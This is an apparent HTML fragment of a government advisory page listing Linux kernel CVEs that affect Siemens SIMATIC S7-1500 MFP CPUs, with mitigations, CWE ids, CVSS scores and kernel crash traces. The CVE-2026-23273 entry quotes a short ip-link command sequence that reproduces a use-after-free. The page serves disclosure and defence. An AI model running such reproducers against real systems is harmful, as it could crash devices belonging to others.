<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23243</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: RDMA/umad: Reject negative data_len in ib_umad_write ib_umad_write computes data_len from user-controlled count and the MAD header sizes. With a mismatched user MAD header size and RMPP header length, data_len can become negative and reach ib_create_send_mad(). This can make the padding calculation exceed the segment size and trigger an out-of-bounds memset in alloc_send_rmpp_list(). Add an explicit check to reject negative data_len before creating the send buffer. KASAN splat: [ 211.363464] BUG: KASAN: slab-out-of-bounds in ib_create_send_mad+0xa01/0x11b0 [ 211.364077] Write of size 220 at addr ffff88800c3fa1f8 by task spray_thread/102 [ 211.365867] ib_create_send_mad+0xa01/0x11b0 [ 211.365887] ib_umad_write+0x853/0x1c80</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23243">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/131.html">CWE-131 Incorrect Calculation of Buffer Size</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23245</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/sched: act_gate: snapshot parameters with RCU on replace The gate action can be replaced while the hrtimer callback or dump path is walking the schedule list. Convert the parameters to an RCU-protected snapshot and swap updates under tcf_lock, freeing the previous snapshot via call_rcu(). When REPLACE omits the entry list, preserve the existing schedule so the effective state is unchanged.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23245">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23270</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/sched: Only allow act_ct to bind to clsact/ingress qdiscs and shared blocks As Paolo said earlier [1]: "Since the blamed commit below, classify can return TC_ACT_CONSUMED while the current skb being held by the defragmentation engine. As reported by GangMin Kim, if such packet is that may cause a UaF when the defrag engine later on tries to tuch again such packet." act_ct was never meant to be used in the egress path, however some users are attaching it to egress today [2]. Attempting to reach a middle ground, we noticed that, while most qdiscs are not handling TC_ACT_CONSUMED, clsact/ingress qdiscs are. With that in mind, we address the issue by only allowing act_ct to bind to clsact/ingress qdiscs and shared blocks. That way it's still possible to attach act_ct to egress (albeit only with clsact). [1] https://lore.kernel.org/netdev/674b8cbfc385c6f37fb29a1de08d8fe5c2b0fbee.1771321118.git.pabeni@redhat.com/ [2] https://lore.kernel.org/netdev/cc6bfb4a-4a2b-42d8-b9ce-7ef6644fb22b@ovn.org/</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23270">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23271</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: perf: Fix __perf_event_overflow() vs perf_remove_from_context() race Make sure that __perf_event_overflow() runs with IRQs disabled for all possible callchains. Specifically the software events can end up running it with only preemption disabled. This opens up a race vs perf_event_exit_event() and friends that will go and free various things the overflow path expects to be present, like the BPF program.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23271">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/672.html">CWE-672 Operation on a Resource after Expiration or Release</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23273</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: macvlan: observe an RCU grace period in macvlan_common_newlink() error path valis reported that a race condition still happens after my prior patch. macvlan_common_newlink() might have made @dev visible before detecting an error, and its caller will directly call free_netdev(dev). We must respect an RCU period, either in macvlan or the core networking stack. After adding a temporary mdelay(1000) in macvlan_forward_source_one() to open the race window, valis repro was: ip link add p1 type veth peer p2 ip link set address 00:00:00:00:00:20 dev p1 ip link set up dev p1 ip link set up dev p2 ip link add mv0 link p2 type macvlan mode source (ip link add invalid% link p2 type macvlan mode source macaddr add 00:00:00:00:00:20 &amp;) ; sleep 0.5 ; ping -c1 -I p1 1.2.3.4 PING 1.2.3.4 (1.2.3.4): 56 data bytes RTNETLINK answers: Invalid argument BUG: KASAN: slab-use-after-free in macvlan_forward_source (drivers/net/macvlan.c:408 drivers/net/macvlan.c:444) Read of size 8 at addr ffff888016bb89c0 by task e/175 CPU: 1 UID: 1000 PID: 175 Comm: e Not tainted 6.19.0-rc8+ #33 NONE Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.14.0-2 04/01/2014 Call Trace: dump_stack_lvl (lib/dump_stack.c:123) print_report (mm/kasan/report.c:379 mm/kasan/report.c:482) ? macvlan_forward_source (drivers/net/macvlan.c:408 drivers/net/macvlan.c:444) kasan_report (mm/kasan/report.c:597) ? macvlan_forward_source (drivers/net/macvlan.c:408 drivers/net/macvlan.c:444) macvlan_forward_source (drivers/net/macvlan.c:408 drivers/net/macvlan.c:444) ? tasklet_init (kernel/softirq.c:983) macvlan_handle_frame (drivers/net/macvlan.c:501) Allocated by task 169: kasan_save_stack (mm/kasan/common.c:58) kasan_save_track (./arch/x86/include/asm/current.h:25 mm/kasan/common.c:70 mm/kasan/common.c:79) __kasan_kmalloc (mm/kasan/common.c:419) __kvmalloc_node_noprof (./include/linux/kasan.h:263 mm/slub.c:5657 mm/slub.c:7140) alloc_netdev_mqs (net/core/dev.c:12012) rtnl_create_link (net/core/rtnetlink.c:3648) rtnl_newlink (net/core/rtnetlink.c:3830 net/core/rtnetlink.c:3957 net/core/rtnetlink.c:4072) rtnetlink_rcv_msg (net/core/rtnetlink.c:6958) netlink_rcv_skb (net/netlink/af_netlink.c:2550) netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1344) netlink_sendmsg (net/netlink/af_netlink.c:1894) __sys_sendto (net/socket.c:727 net/socket.c:742 net/socket.c:2206) __x64_sys_sendto (net/socket.c:2209) do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94) entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:131) Freed by task 169: kasan_save_stack (mm/kasan/common.c:58) kasan_save_track (./arch/x86/include/asm/current.h:25 mm/kasan/common.c:70 mm/kasan/common.c:79) kasan_save_free_info (mm/kasan/generic.c:587) __kasan_slab_free (mm/kasan/common.c:287) kfree (mm/slub.c:6674 mm/slub.c:6882) rtnl_newlink (net/core/rtnetlink.c:3845 net/core/rtnetlink.c:3957 net/core/rtnetlink.c:4072) rtnetlink_rcv_msg (net/core/rtnetlink.c:6958) netlink_rcv_skb (net/netlink/af_netlink.c:2550) netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1344) netlink_sendmsg (net/netlink/af_netlink.c:1894) __sys_sendto (net/socket.c:727 net/socket.c:742 net/socket.c:2206) __x64_sys_sendto (net/socket.c:2209) do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94) entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:131)</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23273">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/364.html">CWE-364 Signal Handler Race Condition</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23274</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: xt_IDLETIMER: reject rev0 reuse of ALARM timer labels IDLETIMER revision 0 rules reuse existing timers by label and always call mod_timer() on timer-&gt;timer. If the label was created first by revision 1 with XT_IDLETIMER_ALARM, the object uses alarm timer semantics and timer-&gt;timer is never initialized. Reusing that object from revision 0 causes mod_timer() on an uninitialized timer_list, triggering debugobjects warnings and possible panic when panic_on_warn=1. Fix this by rejecting revision 0 rule insertion when an existing timer with the same label is of ALARM type.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23274">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/908.html">CWE-908 Use of Uninitialized Resource</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23277</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/sched: teql: fix NULL pointer dereference in iptunnel_xmit on TEQL slave xmit teql_master_xmit() calls netdev_start_xmit(skb, slave) to transmit through slave devices, but does not update skb-&gt;dev to the slave device beforehand. When a gretap tunnel is a TEQL slave, the transmit path reaches iptunnel_xmit() which saves dev = skb-&gt;dev (still pointing to teql0 master) and later calls iptunnel_xmit_stats(dev, pkt_len). This function does: get_cpu_ptr(dev-&gt;tstats) Since teql_master_setup() does not set dev-&gt;pcpu_stat_type to NETDEV_PCPU_STAT_TSTATS, the core network stack never allocates tstats for teql0, so dev-&gt;tstats is NULL. get_cpu_ptr(NULL) computes NULL + __per_cpu_offset[cpu], resulting in a page fault. BUG: unable to handle page fault for address: ffff8880e6659018 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 68bc067 P4D 68bc067 PUD 0 Oops: Oops: 0002 [#1] SMP KASAN PTI RIP: 0010:iptunnel_xmit (./include/net/ip_tunnels.h:664 net/ipv4/ip_tunnel_core.c:89) Call Trace: ip_tunnel_xmit (net/ipv4/ip_tunnel.c:847) __gre_xmit (net/ipv4/ip_gre.c:478) gre_tap_xmit (net/ipv4/ip_gre.c:779) teql_master_xmit (net/sched/sch_teql.c:319) dev_hard_start_xmit (net/core/dev.c:3887) sch_direct_xmit (net/sched/sch_generic.c:347) __dev_queue_xmit (net/core/dev.c:4802) neigh_direct_output (net/core/neighbour.c:1660) ip_finish_output2 (net/ipv4/ip_output.c:237) __ip_finish_output.part.0 (net/ipv4/ip_output.c:315) ip_mc_output (net/ipv4/ip_output.c:369) ip_send_skb (net/ipv4/ip_output.c:1508) udp_send_skb (net/ipv4/udp.c:1195) udp_sendmsg (net/ipv4/udp.c:1485) inet_sendmsg (net/ipv4/af_inet.c:859) __sys_sendto (net/socket.c:2206) Fix this by setting skb-&gt;dev = slave before calling netdev_start_xmit(), so that tunnel xmit functions see the correct slave device with properly allocated tstats.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23277">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23284</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: ethernet: mtk_eth_soc: Reset prog ptr to old_prog in case of error in mtk_xdp_setup() Reset eBPF program pointer to old_prog and do not decrease its ref-count if mtk_open routine in mtk_xdp_setup() fails.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23284">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23287</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: irqchip/sifive-plic: Fix frozen interrupt due to affinity setting PLIC ignores interrupt completion message for disabled interrupt, explained by the specification: The PLIC signals it has completed executing an interrupt handler by writing the interrupt ID it received from the claim to the claim/complete register. The PLIC does not check whether the completion ID is the same as the last claim ID for that target. If the completion ID does not match an interrupt source that is currently enabled for the target, the completion is silently ignored. This caused problems in the past, because an interrupt can be disabled while still being handled and plic_irq_eoi() had no effect. That was fixed by checking if the interrupt is disabled, and if so enable it, before sending the completion message. That check is done with irqd_irq_disabled(). However, that is not sufficient because the enable bit for the handling hart can be zero despite irqd_irq_disabled(d) being false. This can happen when affinity setting is changed while a hart is still handling the interrupt. This problem is easily reproducible by dumping a large file to uart (which generates lots of interrupts) and at the same time keep changing the uart interrupt's affinity setting. The uart port becomes frozen almost instantaneously. Fix this by checking PLIC's enable bit instead of irqd_irq_disabled().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23287">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
